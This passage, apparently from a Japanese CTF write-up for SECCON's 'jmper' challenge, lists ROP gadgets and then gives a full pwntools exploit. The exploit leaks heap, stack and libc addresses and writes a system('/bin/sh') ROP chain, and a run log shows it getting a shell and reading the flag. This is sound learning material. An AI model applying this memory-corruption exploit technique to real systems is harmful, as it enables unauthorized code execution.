[r12+rbx*8] ; (1 found) 0x00400ca6: mov edi, r15d ; call qword [r12+rbx*8] ; (1 found) 0x00400ca1: mov edx, ebp ; mov rsi, r14 ; mov edi, r15d ; call qword [r12+rbx*8] ; (1 found) 0x004007c0: mov esi, eax ; mov edi, 0x00602010 ; jmp rdx ; (1 found) 0x00400ca4: mov esi, esi ; mov edi, r15d ; call qword [r12+rbx*8] ; (1 found) 0x0040080a: mov rbp, rsp ; call rax ; (1 found) 0x00400ca0: mov rdx, r13 ; mov rsi, r14 ; mov edi, r15d ; call qword [r12+rbx*8] ; (1 found) 0x00400ca3: mov rsi, r14 ; mov edi, r15d ; call qword [r12+rbx*8] ; (1 found) 0x004007bf: mov rsi, rax ; mov edi, 0x00602010 ; jmp rdx ; (1 found) 0x00400cc7: nop dword [rax+rax+0x00000000] ; rep ret ; (2 found) 0x00400cc5: nop word [rax+rax+0x00000000] ; rep ret ; (2 found) 0x00400cbe: pop r13 ; pop r14 ; pop r15 ; ret ; (1 found) 0x00400cc0: pop r14 ; pop r15 ; ret ; (1 found) 0x00400cc2: pop r15 ; ret ; (1 found) 0x004007e2: pop rbp ; mov byte [0x0000000000602020], 0x00000001 ; rep ret ; (1 found) 0x00400781: pop rbp ; mov edi, 0x00602010 ; jmp rax ; (1 found) 0x004007be: pop rbp ; mov rsi, rax ; mov edi, 0x00602010 ; jmp rdx ; (1 found) 0x00400cbf: pop rbp ; pop r14 ; pop r15 ; ret ; (1 found) 0x00400775: pop rbp ; ret ; (2 found) 0x00400cc3: pop rdi ; ret ; (1 found) <- ここ 0x00400cc1: pop rsi ; pop r15 ; ret ; (1 found) 0x00400804: push rbp ; mov edi, 0x00601D90 ; mov rbp, rsp ; call rax ; (1 found) 0x004007ea: rep ret ; (2 found) 0x00400661: ret ; (9 found) 0x0040092d: retn 0x077D ; (4 found) 0x00400862: retn 0x2017 ; (1 found) 0x004008b3: retn 0x8B48 ; (1 found) 0x004007a5: retn 0xC148 ; (1 found) 0x004007bb: sal byte [rsp+rsi*8+0x5D], cl ; mov rsi, rax ; mov edi, 0x00602010 ; jmp rdx ; (1 found) 0x004007e5: sbb byte [rax], ah ; add byte [rcx], al ; rep ret ; (2 found) 0x00400cd5: sub esp, 0x08 ; add rsp, 0x08 ; ret ; (1 found) 0x00400cd4: sub rsp, 0x08 ; add rsp, 0x08 ; ret ; (1 found) 0x00400cca: test byte [rax], al ; add byte [rax], al ; add byte [rax], al ; rep ret ; (1 found) 0x00400ca5: test byte [rcx+rcx*4-0x01], 0x00000041 ; call qword [rsp+rbx*8] ; (1 found) 0x00400b4d: xlatb ; adc al, 0x20 ; add byte [rcx], bh ; retn 0x077D ; (1 found)
というわけでコーディング
from pwn import * def add_student(): global p p.recvuntil("Bye :)\n") p.sendline("1") def write_name(id, name): global p p.recvuntil("Bye :)\n") p.sendline("2") p.recvuntil("ID:") p.sendline(id) p.recvuntil("name:") p.sendline(name) def write_memo(id, memo): global p p.recvuntil("Bye :)\n") p.sendline("3") p.recvuntil("ID:") p.sendline(id) p.recvuntil("memo:") p.sendline(memo) def show_name(id): global p p.recvuntil("Bye :)\n") p.sendline("4") p.recvuntil("ID:") p.sendline(id) recv = p.recvuntil("1. Add student.") recv = recv.replace("1. Add student.", "") return recv def show_memo(id): global p p.recvuntil("Bye :)\n") p.sendline("5") p.recvuntil("ID:") p.sendline(id) recv = p.recvuntil("1. Add student.") recv = recv.replace("1. Add student.", "") return recv def start(): global p global heap_base #p = process("./jmper") p = remote("jmper.pwn.seccon.jp", 5656) add_student() add_student() write_memo("0", "x"*33) def read(address, callback=None): write_name("0", address) recv = show_name("1") if callback: return callback(recv) return recv def write(address, value): write_name("0", address) write_name("1", value) if __name__ == '__main__': start() libc = ELF("libc-2.19.so-8674307c6c294e2f710def8c57925a50e60ee69e") recv = show_memo("0") recv = u64(recv[-4:].ljust(8, "\x00")) heap_base = recv & ~0xfff stack_base = read(p64(heap_base+0x128), lambda x: u64(x.ljust(8, "\x00"))) libc_base = read(p64(0x000000601fb0), lambda x: u64(x.ljust(8, "\x00"))-libc.symbols["__libc_start_main"]) log.info("heap_base: {}".format(hex(heap_base))) log.info("stack_base: {}".format(hex(stack_base))) log.info("libc_base: {}".format(hex(libc_base))) payload = "" payload += p64(0x0000000000400cc3) payload += p64(libc_base + next(libc.search("/bin/sh"))) payload += p64(libc_base + libc.symbols["system"]) write(p64(stack_base-0xd8), payload) for i in range(29): add_student() p.interactive()
tyanya@tyanya-VirtualBox:~/seccon/jumper$ python solv.py [+] Opening connection to jmper.pwn.seccon.jp on port 5656: Done [*] '/home/tyanya/seccon/jumper/libc-2.19.so-8674307c6c294e2f710def8c57925a50e60ee69e' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [*] heap_base: 0x252d000 [*] stack_base: 0x7ffd939ee2c0 [*] libc_base: 0x7fcf23dcb000 [*] Switching to interactive mode Exception has occurred. Jump! Nice jump! Bye :) $ ls flag jmper $ cat flag SECCON{3nj0y_my_jmp1n9_serv1ce} $ [*] Interrupted [*] Closed connection to jmper.pwn.seccon.jp port 5656
感想などなど
気合で怪しいところを探すのが一番時間がかかってるので普段からもりもり読んでないと🙅。 まとめてみるとすごく素直な問題なのに無限によくわからないところでハマってたので猛省。